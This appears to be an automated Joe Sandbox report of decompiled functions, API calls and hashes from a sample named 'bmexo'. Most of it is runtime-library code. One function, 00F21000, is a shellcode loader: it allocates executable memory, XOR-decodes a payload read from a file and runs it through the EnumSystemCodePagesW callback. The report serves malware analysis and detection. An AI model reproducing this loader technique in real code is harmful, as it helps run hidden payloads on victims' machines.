Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00F241FC
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00F2420F
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00F24222
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00F24235

__mtinitlocks.LIBCMT ref: 00F2381A
__mtterm.LIBCMT ref: 00F23823

Part of subcall function 00F2388B: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00F23828,00F2163A,00F32190,00000014), ref: 00F2447A
Part of subcall function 00F2388B: _free.LIBCMT ref: 00F24481
Part of subcall function 00F2388B: DeleteCriticalSection.KERNEL32(00F33558,?,?,00F23828,00F2163A,00F32190,00000014), ref: 00F244A3

__calloc_crt.LIBCMT ref: 00F23848
__initptd.LIBCMT ref: 00F2386A
GetCurrentThreadId.KERNEL32(00F2163A,00F32190,00000014), ref: 00F23871

Memory Dump Source

Source File: 00000006.00000002.1052302354.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000006.00000002.1052293820.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052319704.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052334096.0000000000F33000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052343640.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f20000_bmexo.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: c974555283fb68ef14784e2c1a665f9af31bcb36b4191b2d3d5107b25cccfef2
Instruction ID: 53679f9e9f826de9714607a961869154b42b86f33cd884e755be5cba76d35680
Opcode Fuzzy Hash: c974555283fb68ef14784e2c1a665f9af31bcb36b4191b2d3d5107b25cccfef2
Instruction Fuzzy Hash: 07F090B391923659E679B7787C036CA3A84CF01730B24862EF464DC0D2FF5DDA817A91

Uniqueness

Uniqueness Score: -1.00%

Function 009E14C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E009E14C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0xa82088; // 0x7502537d
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E009D7707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E009E13CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E009D7707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E009D7707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E009A2340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E009AE1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x009e14c0
0x009e14cb
0x009e14d2
0x009e14d6
0x009e14da
0x009e14de
0x009e14e3
0x009e157a
0x009e157a
0x009e14f1
0x009e14f3
0x00a0ea0f
0x00000000
0x00a0ea15
0x00000000
0x00a0ea15
0x009e14f9
0x009e14f9
0x009e14fe
0x009e1504
0x00a0ea1a
0x00a0ea1f
0x00a0ea21
0x00a0ea22
0x00a0ea27
0x00a0ea2a
0x00a0ea2a
0x009e1515
0x009e1517
0x009e156d
0x009e1572
0x009e1575
0x009e1575
0x009e151e
0x00a0ea50
0x00a0ea55
0x00a0ea58
0x00a0ea58
0x009e152e
0x009e1531
0x009e1533
0x00000000
0x009e1535
0x009e1541
0x009e1549
0x009e1549
0x009e1533
0x009e14f3
0x009e1559

APIs

___swprintf_l.LIBCMT ref: 00A0EA22

Part of subcall function 009E13CB: ___swprintf_l.LIBCMT ref: 009E146B
Part of subcall function 009E13CB: ___swprintf_l.LIBCMT ref: 009E1490

___swprintf_l.LIBCMT ref: 009E156D

Strings

]:%u, xrefs: 00A0EA47
%%%u, xrefs: 009E1564

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 764cc12ff7de594366b0e85334a4fa3061122fdd83c4e68ac94151a1e99a0d17
Instruction ID: 42abb00c8ef8def626569bf9fd9528c615c7f7ebb078b938641f2cd9f0138c0f
Opcode Fuzzy Hash: 764cc12ff7de594366b0e85334a4fa3061122fdd83c4e68ac94151a1e99a0d17
Instruction Fuzzy Hash: 6121C3729002199BCF21DF59CC41AEA73BCBB94700F444452FC46D3280EF749E588BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F212BC Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 69%

			E00F212BC(char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				char* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __esi;
				signed int _t74;
				signed int _t78;
				char _t81;
				signed int _t86;
				signed int _t88;
				signed int _t91;
				signed int _t94;
				signed int _t97;
				signed int _t98;
				char* _t99;
				signed int _t100;
				signed int _t102;
				signed int _t103;
				signed int _t104;
				char* _t110;
				signed int _t113;
				signed int _t117;
				signed int _t119;
				void* _t120;

				_t99 = _a4;
				_t74 = _a8;
				_v8 = _t99;
				_v12 = _t74;
				if(_a12 == 0) {
					L5:
					return 0;
				}
				_t97 = _a16;
				if(_t97 == 0) {
					goto L5;
				}
				if(_t99 != 0) {
					_t119 = _a20;
					__eflags = _t119;
					if(_t119 == 0) {
						L9:
						__eflags = _a8 - 0xffffffff;
						if(_a8 != 0xffffffff) {
							_t74 = E00F21530(_t99, 0, _a8);
							_t120 = _t120 + 0xc;
						}
						__eflags = _t119;
						if(_t119 == 0) {
							goto L3;
						} else {
							_t78 = _t74 | 0xffffffff;
							__eflags = _t97 - _t78 / _a12;
							if(_t97 > _t78 / _a12) {
								goto L3;
							}
							L13:
							_t117 = _a12 * _t97;
							__eflags =  *(_t119 + 0xc) & 0x0000010c;
							_t98 = _t117;
							if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
								_t100 = 0x1000;
							} else {
								_t100 =  *(_t119 + 0x18);
							}
							_v16 = _t100;
							__eflags = _t117;
							if(_t117 == 0) {
								L41:
								return _a16;
							} else {
								do {
									__eflags =  *(_t119 + 0xc) & 0x0000010c;
									if(( *(_t119 + 0xc) & 0x0000010c) == 0) {
										L24:
										__eflags = _t98 - _t100;
										if(_t98 < _t100) {
											_t81 = E00F22752(_t98, _t119, _t119);
											__eflags = _t81 - 0xffffffff;
											if(_t81 == 0xffffffff) {
												L46:
												return (_t117 - _t98) / _a12;
											}
											_t102 = _v12;
											__eflags = _t102;
											if(_t102 == 0) {
												L42:
												__eflags = _a8 - 0xffffffff;
												if(_a8 != 0xffffffff) {
													E00F21530(_a4, 0, _a8);
												}
												 *((intOrPtr*)(E00F21CC3())) = 0x22;
												L4:
												E00F21E89();
												goto L5;
											}
											_t110 = _v8;
											 *_t110 = _t81;
											_t98 = _t98 - 1;
											_v8 = _t110 + 1;
											_t103 = _t102 - 1;
											__eflags = _t103;
											_v12 = _t103;
											_t100 =  *(_t119 + 0x18);
											_v16 = _t100;
											goto L40;
										}
										__eflags = _t100;
										if(_t100 == 0) {
											_t86 = 0x7fffffff;
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t86 = _t98;
											}
										} else {
											__eflags = _t98 - 0x7fffffff;
											if(_t98 <= 0x7fffffff) {
												_t44 = _t98 % _t100;
												__eflags = _t44;
												_t113 = _t44;
												_t91 = _t98;
											} else {
												_t113 = 0x7fffffff % _t100;
												_t91 = 0x7fffffff;
											}
											_t86 = _t91 - _t113;
										}
										__eflags = _t86 - _v12;
										if(_t86 > _v12) {
											goto L42;
										} else {
											_push(_t86);
											_push(_v8);
											_push(E00F22873(_t119));
											_t88 = E00F22A2A();
											_t120 = _t120 + 0xc;
											__eflags = _t88;
											if(_t88 == 0) {
												 *(_t119 + 0xc) =  *(_t119 + 0xc) | 0x00000010;
												goto L46;
											}
											__eflags = _t88 - 0xffffffff;
											if(_t88 == 0xffffffff) {
												L45:
												_t64 = _t119 + 0xc;
												 *_t64 =  *(_t119 + 0xc) | 0x00000020;
												__eflags =  *_t64;
												goto L46;
											}
											_t98 = _t98 - _t88;
											__eflags = _t98;
											L36:
											_v8 = _v8 + _t88;
											_v12 = _v12 - _t88;
											_t100 = _v16;
											goto L40;
										}
									}
									_t94 =  *(_t119 + 4);
									_v20 = _t94;
									__eflags = _t94;
									if(__eflags == 0) {
										goto L24;
									}
									if(__eflags < 0) {
										goto L45;
									}
									__eflags = _t98 - _t94;
									if(_t98 < _t94) {
										_t94 = _t98;
										_v20 = _t98;
									}
									_t104 = _v12;
									__eflags = _t94 - _t104;
									if(_t94 > _t104) {
										goto L42;
									} else {
										E00F22897(_v8, _t104,  *_t119, _t94);
										_t88 = _v20;
										_t120 = _t120 + 0x10;
										 *(_t119 + 4) =  *(_t119 + 4) - _t88;
										_t98 = _t98 - _t88;
										 *_t119 =  *_t119 + _t88;
										goto L36;
									}
									L40:
									__eflags = _t98;
								} while (_t98 != 0);
								goto L41;
							}
						}
					}
					_t74 = (_t74 | 0xffffffff) / _a12;
					__eflags = _t97 - _t74;
					if(_t97 <= _t74) {
						goto L13;
					}
					goto L9;
				}
				L3:
				 *((intOrPtr*)(E00F21CC3())) = 0x16;
				goto L4;
			}

APIs

_memset.LIBCMT ref: 00F2131A
_memcpy_s.LIBCMT ref: 00F2138C
__read_nolock.LIBCMT ref: 00F213EA
__filbuf.LIBCMT ref: 00F2140D
_memset.LIBCMT ref: 00F21451

Part of subcall function 00F21CC3: __getptd_noexit.LIBCMT ref: 00F21CC3

Memory Dump Source

Source File: 00000006.00000002.1052302354.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000006.00000002.1052293820.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052319704.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052334096.0000000000F33000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052343640.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f20000_bmexo.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 0bb837822c449fc72efdb440be1ab00ec04426b9921edd9ac7c64893c8882779
Instruction ID: 1bcf9de745c09619da9bc4635b07aa96935cbff39a7f37e185754ced7966e0f4
Opcode Fuzzy Hash: 0bb837822c449fc72efdb440be1ab00ec04426b9921edd9ac7c64893c8882779
Instruction Fuzzy Hash: 6851C631E00325DBDB24DFA9F88066E77A6BF61330F248729F829866D0D7749D50AB49

Uniqueness

Uniqueness Score: -1.00%

Function 00F27452 Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E00F27452(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				void* _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				void* _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					if(_t31 != 0) {
						_push(__ebx);
						while(_t31 <= 0xffffffe0) {
							if(_t31 == 0) {
								_t31 = _t31 + 1;
							}
							_t7 = HeapReAlloc( *0xf34834, 0, _a4, _t31);
							_t20 = _t7;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								if( *0xf34830 == _t7) {
									_t9 = E00F21CC3();
									 *_t9 = E00F21CD6(GetLastError());
									goto L17;
								} else {
									if(E00F21741(_t7, _t31) == 0) {
										_t12 = E00F21CC3();
										 *_t12 = E00F21CD6(GetLastError());
										L12:
										_t8 = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E00F21741(_t6, _t31);
						 *((intOrPtr*)(E00F21CC3())) = 0xc;
						goto L12;
					} else {
						E00F24831(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E00F2114B(__ebx, __edx, __edi, _a8);
				}
			}

APIs

_malloc.LIBCMT ref: 00F2745E

Part of subcall function 00F2114B: __FF_MSGBANNER.LIBCMT ref: 00F21162
Part of subcall function 00F2114B: __NMSG_WRITE.LIBCMT ref: 00F21169
Part of subcall function 00F2114B: HeapAlloc.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00F248C7,00000000,00000000,00000000,00000000,?,00F244F9,00000018,00F32280), ref: 00F2118E

_free.LIBCMT ref: 00F27471

Memory Dump Source

Source File: 00000006.00000002.1052302354.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000006.00000002.1052293820.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052319704.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052334096.0000000000F33000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052343640.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f20000_bmexo.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 219df23d8c9bc424a7cd698452e6d47b33cfe1fe1780128de9111ab3920a5a8c
Instruction ID: fb447e93684eef3c71140e95eba00b7b1477385d4cae60da360431e1652530e0
Opcode Fuzzy Hash: 219df23d8c9bc424a7cd698452e6d47b33cfe1fe1780128de9111ab3920a5a8c
Instruction Fuzzy Hash: EE110A32D4A735DBCB31BF70BC45B5A3FD8BF10370B204529F9489A250DA788841F694

Uniqueness

Uniqueness Score: -1.00%

Function 00F21000 Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00F21000(void* __ecx, void* __eflags, intOrPtr _a12) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				intOrPtr _t6;
				void* _t7;
				void* _t20;
				_Unknown_base(*)()* _t21;
				void* _t26;
				void* _t27;
				void* _t28;
				intOrPtr* _t34;

				_push(_t20);
				_t28 = 0;
				_t6 = E00F2114B(_t20, _t26, 0, 0x17d78400);
				 *_t34 = 0xf33000;
				_v8 = _t6;
				_t7 = E00F211DD(_a12, _t27);
				_t21 = VirtualAlloc(0, 0x12ca, 0x3000, 0x40);
				E00F21481(_t21, 0x12ca, 1, _t7);
				_t10 = _v8;
				if(_v8 != 0) {
					E00F21530(_t10, 0xcb, 0x17d78400);
					do {
						 *((char*)(_t21 + _t28)) = (( *((intOrPtr*)(_t21 + _t28)) + 0x00000001 ^ 0x000000cc) - 0x00000076 ^ 0x000000d6) + 2;
						_t28 = _t28 + 1;
					} while (_t28 < 0x12ca);
					EnumSystemCodePagesW(_t21, 0);
				}
				return 0;
			}

0x00f21004
0x00f2100c
0x00f2100e
0x00f21013
0x00f2101d
0x00f21020
0x00f21044
0x00f21048
0x00f2104d
0x00f21055
0x00f21062
0x00f2106a
0x00f21077
0x00f2107a
0x00f2107b
0x00f21082
0x00f21082
0x00f2108e

APIs

_malloc.LIBCMT ref: 00F2100E

Part of subcall function 00F2114B: __FF_MSGBANNER.LIBCMT ref: 00F21162
Part of subcall function 00F2114B: __NMSG_WRITE.LIBCMT ref: 00F21169
Part of subcall function 00F2114B: HeapAlloc.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00F248C7,00000000,00000000,00000000,00000000,?,00F244F9,00000018,00F32280), ref: 00F2118E

Part of subcall function 00F211DD: __wfsopen.LIBCMT ref: 00F211E8

VirtualAlloc.KERNEL32(00000000,000012CA,00003000,00000040), ref: 00F21036
__fread_nolock.LIBCMT ref: 00F21048
_memset.LIBCMT ref: 00F21062
EnumSystemCodePagesW.KERNEL32(00000000,00000000), ref: 00F21082

Memory Dump Source

Source File: 00000006.00000002.1052302354.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000006.00000002.1052293820.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052319704.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052334096.0000000000F33000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052343640.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f20000_bmexo.jbxd

Similarity

API ID: Alloc$CodeEnumHeapPagesSystemVirtual__fread_nolock__wfsopen_malloc_memset
String ID:
API String ID: 612201108-0
Opcode ID: b4443fc9f31c86e9626f505bb256d3715e66e7e01f1617729c9f78fbb140f8ae
Instruction ID: b85017fdeed459ce3e2837d68eeccf53ea42e267804486f930ddcc8d970817ca
Opcode Fuzzy Hash: b4443fc9f31c86e9626f505bb256d3715e66e7e01f1617729c9f78fbb140f8ae
Instruction Fuzzy Hash: D70147729003587BE7206771AC4BFDF3B9CEB61764F100461FA0197182E5B89802A27C

Uniqueness

Uniqueness Score: -1.00%

Function 009C53A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E009C53A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x00a801c0;
									_push(_t92);
									_push(0);
									_t37 = E0099F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = L009E4FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									L009F3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									L009F3F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E00A2217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									L009F3F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E009E3915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E009C5384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E0099F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E009E3915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E0099F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E009E3915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E0099F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E009E3915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E009C5329(_t74, _t92);
													_push(1);
													_t48 = E009C53A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x009c53ab
0x009c53ae
0x009c53b1
0x009c53b4
0x009c53b7
0x009e05b6
0x009e05c0
0x009e05c3
0x00000000
0x009e05c9
0x009e05c9
0x009e05cc
0x009e05d5
0x009e05d5
0x009c53bd
0x009c53bd
0x009c53bd
0x009c53be
0x009c53be
0x009c53be
0x009c53c0
0x00000000
0x00000000
0x00a02269
0x00a0226d
0x00a02349
0x00a0234d
0x00a02273
0x00a02276
0x00a02279
0x00a0227e
0x00a02283
0x00a02287
0x00a0228a
0x00a0228d
0x00a0228f
0x00a022bc
0x00a022bc
0x00a022bc
0x00a022be
0x00a022c4
0x00a022cc
0x00a022d0
0x00a022d6
0x00a022d7
0x00a022da
0x00a022df
0x00a022e4
0x00000000
0x00000000
0x00a022e6
0x00a022e9
0x00a022f4
0x00a022f9
0x00a022fa
0x00a02305
0x00a02314
0x00a02319
0x00a0231a
0x00a0231d
0x00a02320
0x00a02323
0x00a02323
0x00a02328
0x00a0232d
0x00a0232f
0x00a02331
0x00a02336
0x00a02336
0x00a0233b
0x00a0233d
0x00a02350
0x00a02351
0x00a02356
0x00a02359
0x00a02359
0x00a0235b
0x00a0235d
0x009c5367
0x009c536b
0x009c5372
0x00000000
0x00000000
0x00000000
0x00000000
0x00a02363
0x00a02363
0x00a02369
0x00a0236a
0x00a0236c
0x00a02371
0x00a02373
0x00000000
0x00a02379
0x00a02379
0x00a0237a
0x00a0237f
0x00a0237f
0x00a02385
0x00a02386
0x00a02389
0x00a0238e
0x00a02390
0x009c5378
0x009c537c
0x00a02396
0x00a02396
0x00a02397
0x00a0239c
0x00a023a2
0x00a023a3
0x00a023a6
0x00a023ab
0x00a023ad
0x00000000
0x00a023b3
0x00a023b3
0x00a023b4
0x00a023b9
0x00a023ba
0x00a023ba
0x00a023bc
0x00a023bf
0x00000000
0x00000000
0x009f9153
0x009f9158
0x009f915a
0x009f915e
0x009f9160
0x00000000
0x009f9166
0x009f9166
0x009f9171
0x009f9176
0x009f9176
0x00000000
0x009f9160
0x00a023c6
0x00a023cb
0x00a023ce
0x00a023d7
0x00a023d7
0x00a023ad
0x00a02390
0x00a02373
0x00a0233f
0x00a0233f
0x00000000
0x00a0233f
0x00a02291
0x00a02291
0x00a02293
0x00a02295
0x00a0229a
0x00a022a1
0x00a022a3
0x00a022a7
0x00a022a9
0x00000000
0x00000000
0x00a022ab
0x00a022ad
0x00a022af
0x00000000
0x00000000
0x00000000
0x00a022af
0x00a022b1
0x00a022b4
0x00a022b4
0x00a022b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00a022b6
0x00a0228f
0x00000000
0x00a0226d
0x009c53cb
0x009c53ce
0x009c53d0
0x009c53d4
0x009c53d6
0x00000000
0x009c53d8
0x009c53e3
0x009c53ea
0x009c53ea
0x009c53d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A022F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00A022FC
RTL: Resource at %p, xrefs: 00A0230B
RTL: Re-Waiting, xrefs: 00A02328

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: bbd54237301702c2e372daa391cbd9c7fe640b65595180a6dbe78d931b187ec8
Instruction ID: 3b28890216afc1eddb79998d31d0e1349ec28625c4a84119a3cd6c98056ddf1d
Opcode Fuzzy Hash: bbd54237301702c2e372daa391cbd9c7fe640b65595180a6dbe78d931b187ec8
